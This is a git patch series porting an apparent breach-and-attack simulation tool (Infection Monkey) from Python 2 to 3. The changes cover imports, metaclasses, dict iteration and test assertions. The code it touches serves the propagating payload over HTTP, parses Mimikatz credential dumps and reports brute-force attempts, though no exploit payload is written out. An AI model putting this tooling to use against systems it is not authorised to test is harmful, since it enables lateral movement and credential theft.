- from windows_info_collector import WindowsInfoCollector
+ from .windows_info_collector import WindowsInfoCollector
self.collector = WindowsInfoCollector()
else:
- from linux_info_collector import LinuxInfoCollector
+ from .linux_info_collector import LinuxInfoCollector
self.collector = LinuxInfoCollector()
def get_info(self):
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index 9f56c238e..f7835ba20 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -10,9 +10,7 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
-class _SystemSingleton(object):
- __metaclass__ = ABCMeta
-
+class _SystemSingleton(object, metaclass=ABCMeta):
@property
@abstractmethod
def locked(self):
diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py
index c232ab975..db0673f9d 100644
--- a/monkey/infection_monkey/telemetry/base_telem.py
+++ b/monkey/infection_monkey/telemetry/base_telem.py
@@ -5,13 +5,11 @@ from infection_monkey.control import ControlClient
__author__ = 'itay.mizeretz'
-class BaseTelem(object):
+class BaseTelem(object, metaclass=abc.ABCMeta):
"""
Abstract base class for telemetry.
"""
- __metaclass__ = abc.ABCMeta
-
def __init__(self):
pass
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 0f01cf64a..16e92919f 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -1,11 +1,11 @@
-import BaseHTTPServer
+import http.server
import os.path
import select
import socket
import threading
-import urllib
+import urllib.request, urllib.parse, urllib.error
from logging import getLogger
-from urlparse import urlsplit
+from urllib.parse import urlsplit
from threading import Lock
import infection_monkey.monkeyfs as monkeyfs
@@ -16,7 +16,7 @@ __author__ = 'hoffer'
LOG = getLogger(__name__)
-class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
+class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
@@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
f.close()
def send_head(self):
- if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
+ if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
f = None
@@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
format % args))
-class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
+class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
protocol_version = "HTTP/1.1"
@@ -175,7 +175,7 @@ class HTTPServer(threading.Thread):
return True
return False
- httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
+ httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
while not self._stopped and self.downloads < self.max_downloads:
@@ -222,7 +222,7 @@ class LockedHTTPServer(threading.Thread):
return True
return False
- httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
+ httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
@@ -236,7 +236,7 @@ class LockedHTTPServer(threading.Thread):
class HTTPConnectProxy(TransportProxyBase):
def run(self):
- httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
+ httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
httpd.timeout = 30
while not self._stopped:
httpd.handle_request()
diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py
index 104b5efdf..ff543a686 100644
--- a/monkey/monkey_island.py
+++ b/monkey/monkey_island.py
@@ -1,4 +1,4 @@
-import monkey_island.cc.main
+from . import monkey_island.cc.main
if "__main__" == __name__:
monkey_island.cc.main.main()
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index 2e04ef0be..c6ad585df 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -64,16 +64,16 @@ def normalize_obj(obj):
obj['id'] = obj['_id']
del obj['_id']
- for key, value in obj.items():
- if type(value) is bson.objectid.ObjectId:
+ for key, value in list(obj.items()):
+ if isinstance(value, bson.objectid.ObjectId):
obj[key] = str(value)
- if type(value) is datetime:
+ if isinstance(value, datetime):
obj[key] = str(value)
- if type(value) is dict:
+ if isinstance(value, dict):
obj[key] = normalize_obj(value)
- if type(value) is list:
+ if isinstance(value, list):
for i in range(0, len(value)):
- if type(value[i]) is dict:
+ if isinstance(value[i], dict):
value[i] = normalize_obj(value[i])
return obj
diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py
index 73cb813fe..0115cf446 100644
--- a/monkey/monkey_island/cc/environment/__init__.py
+++ b/monkey/monkey_island/cc/environment/__init__.py
@@ -6,9 +6,7 @@ from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz'
-class Environment(object):
- __metaclass__ = abc.ABCMeta
-
+class Environment(object, metaclass=abc.ABCMeta):
_ISLAND_PORT = 5000
_MONGO_DB_NAME = "monkeyisland"
_MONGO_DB_HOST = "localhost"
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index 5b9bda8cb..e51975d24 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -1,4 +1,4 @@
-from __future__ import print_function # In python 2.7
+ # In python 2.7
import os
import os.path
diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py
index 9d69a51fc..105866937 100644
--- a/monkey/monkey_island/cc/models/__init__.py
+++ b/monkey/monkey_island/cc/models/__init__.py
@@ -12,8 +12,8 @@ else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order of importing matters here, for registering the embedded and referenced documents before using them.
-from config import Config
-from creds import Creds
-from monkey_ttl import MonkeyTtl
-from pba_results import PbaResults
-from monkey import Monkey
+from .config import Config
+from .creds import Creds
+from .monkey_ttl import MonkeyTtl
+from .pba_results import PbaResults
+from .monkey import Monkey
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 717fb309a..37a71cfef 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -1,10 +1,10 @@
import uuid
from time import sleep
-from monkey import Monkey
+from .monkey import Monkey
from monkey_island.cc.models.monkey import MonkeyNotFoundError
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
-from monkey_ttl import MonkeyTtl
+from .monkey_ttl import MonkeyTtl
class TestMonkey(IslandTestCase):
@@ -87,6 +87,6 @@ class TestMonkey(IslandTestCase):
windows_monkey.save()
unknown_monkey.save()
- self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
- self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
- self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
+ self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"]))
+ self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"]))
+ self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"]))
diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py
index 5e51a43e1..c0e538258 100644
--- a/monkey/monkey_island/cc/report_exporter_manager.py
+++ b/monkey/monkey_island/cc/report_exporter_manager.py
@@ -14,9 +14,7 @@ class Singleton(type):
return cls._instances[cls]
-class ReportExporterManager(object):
- __metaclass__ = Singleton
-
+class ReportExporterManager(object, metaclass=Singleton):
def __init__(self):
self._exporters_set = set()
diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py
index 60df09d88..9f6b5d2d9 100644
--- a/monkey/monkey_island/cc/services/attack/attack_config.py
+++ b/monkey/monkey_island/cc/services/attack/attack_config.py
@@ -26,8 +26,8 @@ class AttackConfig(object):
:return: Technique object or None if technique is not found
"""
attack_config = AttackConfig.get_config()
- for key, attack_type in attack_config['properties'].items():
- for key, technique in attack_type['properties'].items():
+ for key, attack_type in list(attack_config['properties'].items()):
+ for key, technique in list(attack_type['properties'].items()):
if key == technique_id:
return technique
return None
@@ -66,7 +66,7 @@ class AttackConfig(object):
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
- for key, definition in monkey_schema['definitions'].items():
+ for key, definition in list(monkey_schema['definitions'].items()):
for array_field in definition['anyOf']:
# Check if current array field has attack_techniques assigned to it
if 'attack_techniques' in array_field and array_field['attack_techniques']:
@@ -83,7 +83,7 @@ class AttackConfig(object):
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
- for key, value in monkey_schema['properties'].items():
+ for key, value in list(monkey_schema['properties'].items()):
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
@staticmethod
@@ -110,7 +110,7 @@ class AttackConfig(object):
dictionary = value['properties']
else:
dictionary = value
- for key, item in dictionary.items():
+ for key, item in list(dictionary.items()):
path.append(key)
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
# Method enumerated everything in current path, goes back a level.
@@ -158,7 +158,7 @@ class AttackConfig(object):
elif not remove and field not in config_value[array_name]:
config_value[array_name].append(field)
else:
- for prop in config_value.items():
+ for prop in list(config_value.items()):
AttackConfig.r_alter_array(prop[1], array_name, field, remove)
@staticmethod
@@ -169,7 +169,7 @@ class AttackConfig(object):
"""
attack_config = AttackConfig.get_config()
techniques = {}
- for type_name, attack_type in attack_config['properties'].items():
- for key, technique in attack_type['properties'].items():
+ for type_name, attack_type in list(attack_config['properties'].items()):
+ for key, technique in list(attack_type['properties'].items()):
techniques[key] = technique['value']
return techniques
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 7004e3721..89a384e9d 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -41,7 +41,7 @@ class AttackReportService:
'name': REPORT_NAME
}
- for tech_id, value in AttackConfig.get_technique_values().items():
+ for tech_id, value in list(AttackConfig.get_technique_values().items()):
if value:
try:
report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index 91d785bc3..a9bd24e70 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -59,7 +59,7 @@ class T1110(AttackTechnique):
'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
- for key, cred in creds.items():
+ for key, cred in list(creds.items()):
if attempt[key]:
return '%s ; %s : %s' % (username,
cred['type'],
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index edd180d50..cc4d13355 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -6,9 +6,8 @@ from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
-class AttackTechnique(object):
+class AttackTechnique(object, metaclass=abc.ABCMeta):
""" Abstract class for ATT&CK report components """
- __metaclass__ = abc.ABCMeta
@abc.abstractproperty
def unscanned_msg(self):
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index c52ceb3f4..8e6c9b2fa 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -10,7 +10,7 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.encryptor import encryptor
from monkey_island.cc.environment.environment import env
from monkey_island.cc.utils import local_ip_addresses
-from config_schema import SCHEMA
+from .config_schema import SCHEMA
__author__ = "itay.mizeretz"
@@ -203,11 +203,11 @@ class ConfigService:
# Do it only for root.
if instance != {}:
return
- for property, subschema in properties.iteritems():
+ for property, subschema in properties.items():
main_dict = {}
- for property2, subschema2 in subschema["properties"].iteritems():
+ for property2, subschema2 in subschema["properties"].items():
sub_dict = {}
- for property3, subschema3 in subschema2["properties"].iteritems():
+ for property3, subschema3 in subschema2["properties"].items():
if "default" in subschema3:
sub_dict[property3] = subschema3["default"]
main_dict[property2] = sub_dict
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index cd417f8e4..333c42263 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -1,4 +1,4 @@
-WARNING_SIGN = u" \u26A0"
+WARNING_SIGN = " \u26A0"
SCHEMA = {
"title": "Monkey",
diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
index eb23c3901..c328deee2 100644
--- a/monkey/monkey_island/cc/services/edge.py
+++ b/monkey/monkey_island/cc/services/edge.py
@@ -151,7 +151,7 @@ class EdgeService:
else:
to_label = NodeService.get_monkey_label(to_id)
- RIGHT_ARROW = u"\u2192"
+ RIGHT_ARROW = "\u2192"
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py
index 9aca91a59..4b88473fe 100644
--- a/monkey/monkey_island/cc/services/mimikatz_utils.py
+++ b/monkey/monkey_island/cc/services/mimikatz_utils.py
@@ -16,8 +16,8 @@ class MimikatzSecrets(object):
return {}
for sam_user_txt in users_secrets:
- sam_user = dict([map(unicode.strip, line.split(":")) for line in
- filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())])
+ sam_user = dict([list(map(str.strip, line.split(":"))) for line in
+ [l for l in sam_user_txt.splitlines() if l.count(":") == 1]])
username = sam_user.get("User")
users_dict[username] = {}
diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py
index 9f3b9769f..5e77b6395 100644
--- a/monkey/monkey_island/cc/services/pth_report.py
+++ b/monkey/monkey_island/cc/services/pth_report.py
@@ -217,7 +217,7 @@ class PTHReportService(object):
@staticmethod
def generate_map_nodes():
- monkeys = filter(lambda m: m.get_os() == "windows", Monkey.objects())
+ monkeys = [m for m in Monkey.objects() if m.get_os() == "windows"]
return [
{
diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py
index 593bbfdaf..e49e60d81 100644
--- a/monkey/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/report.py
@@ -16,7 +16,7 @@ from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.utils import local_ip_addresses, get_subnets
-from pth_report import PTHReportService
+from .pth_report import PTHReportService
from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz"
diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/test_PTHReportService.py
index 24e560ff0..7c4d4229b 100644
--- a/monkey/monkey_island/cc/services/test_PTHReportService.py
+++ b/monkey/monkey_island/cc/services/test_PTHReportService.py
@@ -40,7 +40,7 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
map_nodes = PTHReportService.generate_map_nodes()
- self.assertEquals(2, len(map_nodes))
+ self.assertEqual(2, len(map_nodes))
def test_generate_map_nodes_parsing(self):
self.fail_if_not_testing_env()
@@ -59,11 +59,11 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
map_nodes = PTHReportService.generate_map_nodes()
- self.assertEquals(map_nodes[0]["id"], monkey_id)
- self.assertEquals(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1")
- self.assertEquals(map_nodes[0]["group"], "critical")
- self.assertEquals(len(map_nodes[0]["services"]), 2)
- self.assertEquals(map_nodes[0]["hostname"], hostname)
+ self.assertEqual(map_nodes[0]["id"], monkey_id)
+ self.assertEqual(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1")
+ self.assertEqual(map_nodes[0]["group"], "critical")
+ self.assertEqual(len(map_nodes[0]["services"]), 2)
+ self.assertEqual(map_nodes[0]["hostname"], hostname)
diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py
index 227bd18da..82209701f 100644
--- a/monkey/monkey_island/cc/services/wmi_handler.py
+++ b/monkey/monkey_island/cc/services/wmi_handler.py
@@ -95,7 +95,7 @@ class WMIHandler(object):
groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
child_sid = ''
- if type(child_part) in (unicode, str):
+ if type(child_part) in (str, str):
child_part = str(child_part)
name = None
domain_name = None
@@ -124,7 +124,7 @@ class WMIHandler(object):
self.info_for_mongo[child_sid]['member_of'].append(group_sid)
def insert_info_to_mongo(self):
- for entity in self.info_for_mongo.values():
+ for entity in list(self.info_for_mongo.values()):
if entity['machine_id']:
# Handling for local entities.
mongo.db.groupsandusers.update({'SID': entity['SID'],
diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py
index e894f13df..1c708279e 100644
--- a/monkey/monkey_island/cc/testing/IslandTestCase.py
+++ b/monkey/monkey_island/cc/testing/IslandTestCase.py
@@ -5,7 +5,7 @@ from monkey_island.cc.models import Monkey
class IslandTestCase(unittest.TestCase):
def fail_if_not_testing_env(self):
- self.failIf(not env.testing, "Change server_config.json to testing environment.")
+ self.assertFalse(not env.testing, "Change server_config.json to testing environment.")
@staticmethod
def clean_monkey_db():
From 35674286cfa5073edcd70e293b83dd89e1a18380 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 28 Jul 2019 13:41:14 +0300
Subject: [PATCH 002/108] Manual fixes after 2to3
---
monkey/common/utils/mongo_utils.py | 2 +-
monkey/infection_monkey/network/info.py | 5 -----
monkey/monkey_island/cc/main.py | 2 --
monkey/monkey_island/cc/services/wmi_handler.py | 2 +-
4 files changed, 2 insertions(+), 9 deletions(-)
diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py
index cc5bea7d1..48d632bcd 100644
--- a/monkey/common/utils/mongo_utils.py
+++ b/monkey/common/utils/mongo_utils.py
@@ -21,7 +21,7 @@ class MongoUtils:
elif type(o) in (int, float, bool):
return o
- elif type(o) in (str, str):
+ elif isinstance(o, str):
# mongo dosn't like unprintable chars, so we use repr :/
return repr(o)
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index c1e50586f..fec69ff1f 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -14,11 +14,6 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
-try:
- int # Python 2
-except NameError:
- long = int # Python 3
-
# Timeout for monkey connections
TIMEOUT = 15
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index e51975d24..d23d57411 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -1,5 +1,3 @@
- # In python 2.7
-
import os
import os.path
import sys
diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py
index 82209701f..2522b42dd 100644
--- a/monkey/monkey_island/cc/services/wmi_handler.py
+++ b/monkey/monkey_island/cc/services/wmi_handler.py
@@ -95,7 +95,7 @@ class WMIHandler(object):
groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
child_sid = ''
- if type(child_part) in (str, str):
+ if isinstance(child_part, str):
child_part = str(child_part)
name = None
domain_name = None
From 81fb8adc0200fc8cc8a6f6f4b3108677e8320009 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 17 Sep 2019 11:54:10 +0300
Subject: [PATCH 003/108] Refactoring island to python3.7
---
monkey/infection_monkey/requirements_windows.txt | 3 +--
monkey/monkey_island.py | 4 ++--
monkey/monkey_island/requirements.txt | 1 +
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
index 5689ca332..1dcf65665 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -4,11 +4,10 @@ pycryptodome
pyasn1
cffi
twisted
-rdpy
requests
odict
paramiko
-psutil==3.4.2
+psutil
PyInstaller
six
ecdsa
diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py
index ff543a686..8f31c83f8 100644
--- a/monkey/monkey_island.py
+++ b/monkey/monkey_island.py
@@ -1,4 +1,4 @@
-from . import monkey_island.cc.main
+from monkey_island.cc.main import main
if "__main__" == __name__:
- monkey_island.cc.main.main()
+ main()
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index 6e57d9128..e6d81e6aa 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -25,3 +25,4 @@ wheel
mongoengine
mongomock
requests
+dpath
From e0463b6b129f90563f693e26200a79d33c71840b Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 18 Sep 2019 16:21:12 +0300
Subject: [PATCH 004/108] Fixing some string formatting in island
---
monkey/common/cloud/aws_instance.py | 4 ++--
monkey/infection_monkey.py | 4 ++--
monkey/monkey_island/cc/encryptor.py | 2 +-
monkey/monkey_island/cc/environment/__init__.py | 6 +++---
4 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py
index 0aece9bcc..cba1f3670 100644
--- a/monkey/common/cloud/aws_instance.py
+++ b/monkey/common/cloud/aws_instance.py
@@ -30,14 +30,14 @@ class AwsInstance(object):
self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except urllib.error.URLError as e:
- logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
+ logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e))
try:
self.account_id = self._extract_account_id(
urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
except urllib.error.URLError as e:
- logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
+ logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
@staticmethod
def _parse_region(region_url_response):
diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py
index 7059088c9..a63dec069 100644
--- a/monkey/infection_monkey.py
+++ b/monkey/infection_monkey.py
@@ -1,4 +1,4 @@
-from . import infection_monkey.main
+from infection_monkey.main import main
if "__main__" == __name__:
- infection_monkey.main.main()
+ main()
diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py
index 98473b60a..d727fe10c 100644
--- a/monkey/monkey_island/cc/encryptor.py
+++ b/monkey/monkey_island/cc/encryptor.py
@@ -41,7 +41,7 @@ class Encryptor:
def enc(self, message):
cipher_iv = Random.new().read(AES.block_size)
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
- return base64.b64encode(cipher_iv + cipher.encrypt(str(self._pad(message)))) # ciper.encrypt expects str
+ return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message).encode()))
def dec(self, enc_message):
enc_message = base64.b64decode(enc_message)
diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py
index 0115cf446..4d125e98c 100644
--- a/monkey/monkey_island/cc/environment/__init__.py
+++ b/monkey/monkey_island/cc/environment/__init__.py
@@ -1,4 +1,4 @@
-import abc
+from abc import ABCMeta, abstractmethod
from datetime import timedelta
import os
from Crypto.Hash import SHA3_512
@@ -6,7 +6,7 @@ from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz'
-class Environment(object, metaclass=abc.ABCMeta):
+class Environment(object, metaclass=ABCMeta):
_ISLAND_PORT = 5000
_MONGO_DB_NAME = "monkeyisland"
_MONGO_DB_HOST = "localhost"
@@ -67,7 +67,7 @@ class Environment(object, metaclass=abc.ABCMeta):
val = self.config.get(key, val)
return val
- @abc.abstractmethod
+ @abstractmethod
def get_auth_users(self):
return
From 9bcaf8b5129012542e6287b42e64bdaba7ad6705 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 19 Sep 2019 10:24:49 +0300
Subject: [PATCH 005/108] Ran 2to3 on changes merged from develop
---
monkey/common/data/__init__.py | 2 +-
monkey/common/data/zero_trust_consts.py | 102 +++++------
monkey/infection_monkey.py | 2 +-
monkey/infection_monkey/exploit/mssqlexec.py | 2 +-
monkey/infection_monkey/exploit/shellshock.py | 2 +-
monkey/infection_monkey/exploit/sshexec.py | 6 +-
.../exploit/tools/http_tools.py | 6 +-
.../exploit/tools/payload_parsing_test.py | 2 +-
.../exploit/tools/wmi_tools.py | 6 +-
monkey/infection_monkey/exploit/weblogic.py | 2 +-
monkey/infection_monkey/main.py | 8 +-
monkey/infection_monkey/transport/http.py | 18 +-
monkey/monkey_island.py | 2 +-
monkey/monkey_island/cc/models/__init__.py | 12 +-
monkey/monkey_island/cc/models/monkey_test.py | 10 +-
.../zero_trust/test_aggregate_finding.py | 22 +--
.../cc/models/zero_trust/test_finding.py | 6 +-
.../zero_trust/test_segmentation_finding.py | 12 +-
.../cc/resources/reporting/report.py | 4 +-
.../technique_report_tools.py | 2 +-
.../technique_reports/usage_technique.py | 4 +-
monkey/monkey_island/cc/services/config.py | 6 +-
.../cc/services/config_schema.py | 2 +-
monkey/monkey_island/cc/services/edge.py | 2 +-
.../reporting/test_zero_trust_service.py | 8 +-
.../services/reporting/zero_trust_service.py | 4 +-
.../services/telemetry/processing/__init__.py | 12 +-
.../zero_trust_tests/antivirus_existence.py | 2 +-
.../zero_trust_tests/data_endpoints.py | 2 +-
.../zero_trust_tests/known_anti_viruses.py | 164 +++++++++---------
.../test_segmentation_zt_tests.py | 10 +-
.../scripts/island_password_hasher.py | 2 +-
32 files changed, 222 insertions(+), 224 deletions(-)
diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py
index a8c1a93f7..a379a4743 100644
--- a/monkey/common/data/__init__.py
+++ b/monkey/common/data/__init__.py
@@ -1,2 +1,2 @@
-from zero_trust_consts import populate_mappings
+from .zero_trust_consts import populate_mappings
populate_mappings()
diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
index 4add05d04..5ac5dd78d 100644
--- a/monkey/common/data/zero_trust_consts.py
+++ b/monkey/common/data/zero_trust_consts.py
@@ -6,31 +6,31 @@ This file contains static mappings between zero trust components such as: pillar
Some of the mappings are computed when this module is loaded.
"""
-AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
-VISIBILITY_ANALYTICS = u"Visibility & Analytics"
-WORKLOADS = u"Workloads"
-DEVICES = u"Devices"
-NETWORKS = u"Networks"
-PEOPLE = u"People"
-DATA = u"Data"
+AUTOMATION_ORCHESTRATION = "Automation & Orchestration"
+VISIBILITY_ANALYTICS = "Visibility & Analytics"
+WORKLOADS = "Workloads"
+DEVICES = "Devices"
+NETWORKS = "Networks"
+PEOPLE = "People"
+DATA = "Data"
PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
-STATUS_UNEXECUTED = u"Unexecuted"
-STATUS_PASSED = u"Passed"
-STATUS_VERIFY = u"Verify"
-STATUS_FAILED = u"Failed"
+STATUS_UNEXECUTED = "Unexecuted"
+STATUS_PASSED = "Passed"
+STATUS_VERIFY = "Verify"
+STATUS_FAILED = "Failed"
# Don't change order! The statuses are ordered by importance/severity.
ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
-TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
-TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
-TEST_MACHINE_EXPLOITED = u"machine_exploited"
-TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
-TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
-TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
-TEST_SEGMENTATION = u"segmentation"
-TEST_TUNNELING = u"tunneling"
-TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
+TEST_DATA_ENDPOINT_ELASTIC = "unencrypted_data_endpoint_elastic"
+TEST_DATA_ENDPOINT_HTTP = "unencrypted_data_endpoint_http"
+TEST_MACHINE_EXPLOITED = "machine_exploited"
+TEST_ENDPOINT_SECURITY_EXISTS = "endpoint_security_exists"
+TEST_SCHEDULED_EXECUTION = "scheduled_execution"
+TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline"
+TEST_SEGMENTATION = "segmentation"
+TEST_TUNNELING = "tunneling"
+TEST_COMMUNICATE_AS_NEW_USER = "communicate_as_new_user"
